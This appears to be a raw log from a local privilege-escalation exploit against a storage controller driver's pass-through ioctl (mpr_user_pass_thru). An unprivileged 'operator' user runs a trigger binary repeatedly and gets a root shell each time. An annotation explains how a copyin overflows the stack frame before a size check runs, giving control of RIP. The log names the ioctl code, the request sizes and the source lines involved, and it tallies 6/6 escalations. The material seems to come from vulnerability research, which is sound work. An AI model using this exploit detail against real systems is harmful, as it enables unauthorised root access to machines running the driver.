+ for i in 1 2 3; do su operator -c "/root/rig/trigger probe"; done   (stress x3)
DF1326_CONTINUATION: getuid=0 getgid=0 (pid 915)
DF1326_ROOT: uid=0 achieved, launching root shell
uid=0(root) gid=0(wheel) groups=0(wheel)
DF1326_SHELL uid=0
DF1326_CONTINUATION: getuid=0 getgid=0 (pid 920)
DF1326_ROOT: uid=0 achieved, launching root shell
uid=0(root) gid=0(wheel) groups=0(wheel)
DF1326_SHELL uid=0
DF1326_CONTINUATION: getuid=0 getgid=0 (pid 925)
DF1326_ROOT: uid=0 achieved, launching root shell
uid=0(root) gid=0(wheel) groups=0(wheel)
DF1326_SHELL uid=0

+ su operator -c "/root/rig/trigger evaded"   (RequestSize=96 <= reqframesz=128:
+                                               the post-hoc check at :804 PASSES,
+                                               the copyin at :800 has already
+                                               smashed the frame; returns via the
+                                               ENOMEM command-allocation path
+                                               through the controlled RIP)
open ok fd=3, ioctl MPTIOCTL_PASS_THRU (0xc0384904) RequestSize=96
DF1326_CONTINUATION: getuid=0 getgid=0 (pid 931)
DF1326_ROOT: uid=0 achieved, launching root shell
uid=0(root) gid=0(wheel) groups=0(wheel)
DF1326_SHELL uid=0

=> 6/6 unprivileged operator -> uid=0 escalations through the REAL
   production mpr_ioctl_devsw/mpr_user_pass_thru, guest healthy
   throughout (no panic, no reboot).